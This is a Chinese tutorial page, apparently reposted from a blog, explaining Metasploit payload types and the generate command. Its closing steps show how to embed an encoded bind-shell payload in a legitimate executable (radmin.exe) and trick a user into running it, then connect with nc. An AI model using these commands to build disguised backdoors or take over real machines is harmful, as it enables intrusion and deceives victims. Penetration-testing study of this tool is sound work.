目錄
一、簡介:
1.1、payload(攻擊載荷):
1.2、Shellcode:
二、payload分類
2.1、singles(獨立載荷)
2.2、stagers(傳輸器載荷)
2.2.1、簡介:
2.2.2、特點:
2.2.3、分類:
2.3、stages(傳輸體載荷)
2.3.1、簡介:
2.3.2、示例:
三、相關命令
四、使用方法:
4.1、方法一:
4.2、方法二:
4.2.1、第一步:還是選擇模塊
4.2.2、第二步:直接使用payload
4.2.3、第三步:考慮過濾壞字符
4.2.4、第四步:考慮多次加密、輸出格式等
4.2.5、第五步:誘使用戶使用程序
4.2.6、第六步:連接目標端口
一、簡介:
1.1、payload(攻擊載荷):
主要是用來建立目標機與攻擊機穩(wěn)定連接的,可返回shell,也可以進行程序注入等,payloads也被稱為shellcode。
一般在exploit中調用payload
也可以使用 generate 命令直接生成payload
exploit是利用漏洞的一個過程和方法,最終的目的是為了執(zhí)行payload(攻擊代碼)
1.2、Shellcode:
是一段代碼(或填充數(shù)據(jù)),作為數(shù)據(jù)發(fā)送到目標服務器利用特定漏洞的代碼,用于獲取權限。
二、payload分類
2.1、singles(獨立載荷)
可直接植入目標系統(tǒng)并執(zhí)行相應的程序(payload:shell_bind_tcp)
2.2、stagers(傳輸器載荷)
2.2.1、簡介:
用于目標機與攻擊機之間建立穩(wěn)定的網絡連接,與傳輸體載荷配合攻擊。
2.2.2、特點:
為在漏洞利用后方便注入,載荷體積都非常小,且這類載荷功能都非常相似
2.2.3、分類:
bind型,需要攻擊機主動連接目標端口
reverse型,目標機會反連接攻擊機,提前設定好連接攻擊機的ip地址和端口號
2.3、stages(傳輸體載荷)
2.3.1、簡介:
stagers建立連接后,攻擊機將stages傳輸給目標機,由stagers進行相應處理,將控制權轉交給stages。
2.3.2、示例:
得到目標機的shell或meterpreter控制程序運行
攻擊機可以在本端輸入相應命令控制目標機。
三、相關命令
選項:
-E? ? ? ?
編碼
-O <opt> ?
棄用:“ -o”選項的別名
-P <opt> ?
總所需有效載荷尺寸,自動生產適當?shù)腘OP雪橇長度
-S <opt> ?
生成(大)Windows二進制文件時要使用的新部分名稱
-b <opt> ?
字符列表避免示例:'\ x00 \ xff'
-e <opt> ?
用于使用的編碼器
-f <opt> ?
輸出格式:base32,base64,bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,python-reflection,vba,vba-exe,vba-psh,vbs,war
-h ? ? ? ?
顯示此消息
-i <opt> ?
編碼有效載荷的次數(shù)
-k ? ? ? ?
保留模板行為并將有效載荷注入新線程
-n <opt> ?
在有效載荷上預先設置[長度]大小的點頭
-o <opt> ?
輸出文件名(否則stdout)
?-p <opt> ?
有效載荷的平臺
-v ? ? ? ?
詳細輸出
-x <opt> ?
指定自定義可執(zhí)行文件以用作模板
四、使用方法:
4.1、方法一:
一般的使用方法
使用exploit時,用 use 去使用的payload(即set調用各種payload)
4.2、方法二:
直接使用payload:直接用 use 使用一個payload
4.2.1、第一步:還是選擇模塊
#查看payload模塊,也可以輸入關鍵字然后會檢索出來
use payload/
use payload/windows/shell_bind_tcp
show options?
LPORT:
監(jiān)聽端口,也就是目標開放的端口
RHOST:
目標機器只接受某個遠程主機來連接它的4444端口(目標開放的端口),限制了來源IP(不設置的話,都可以連上去獲取shell)
4.2.2、第二步:直接使用payload
使用 generate 命令來生成payload
輸入generate
可以獲得payload的一些基本信息和設置的參數(shù),buf 就是 payload 的16進制表示方式
4.2.3、第三步:考慮過濾壞字符
產生的payload中可能存在“壞字符”
被執(zhí)行過程中會被過濾掉、或被替代,導致無法產生預期結果
eg:
緩沖區(qū)溢出中,會把?“\x00”認為是一個壞字符,導致shellcode無法執(zhí)行
生成payload時(默認不使用encoder)
比如過濾掉 “\x00” 就會從已有的encoder中選擇最理想的一個
也可以手動指定encoder
#顯示可用的encoders
show encoders
#使用指定的encoder
generate -e x86/add_sub
壞字符太多,就需要自己手動加上去
generate -b '\x00\xff'
利用 -b 參數(shù),后面跟上要避免出現(xiàn)的壞字符(也就是過濾掉)
壞字符一般不止一個
過濾掉壞字符后的payload大小也變化了
“\x00”可能由1個字節(jié)變成2個甚至更多字節(jié)去表示
?
4.2.4、第四步:考慮多次加密、輸出格式等
#研究一下輸出格式之間代碼是否有區(qū)別
?#輸出python使用的payload
generate -f?python?LHOST=192.168.190.131
LHOST是填自己的
#輸出python使用的payload
generate -f?c LHOST=192.168.190.131
對比可以發(fā)現(xiàn),其實c語言格式輸出的,和python格式輸出的是存在不一樣的
#完整的一個輸出exe文件
generate -b '\x00\xff' -f exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -o /root/1.exe
打開目錄位置 /root/1.exe
4.2.5、第五步:誘使用戶使用程序
將exe文件拷貝/發(fā)送到目標主機上運行文章來源:http://www.zghlxwxcb.cn/news/detail-401738.html
4.2.6、第六步:連接目標端口
nc IP 端口號文章來源地址http://www.zghlxwxcb.cn/news/detail-401738.html
到了這里,關于【MSFconsole進階】Payload(攻擊載荷模塊):payload分類、相關命令、使用方法的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!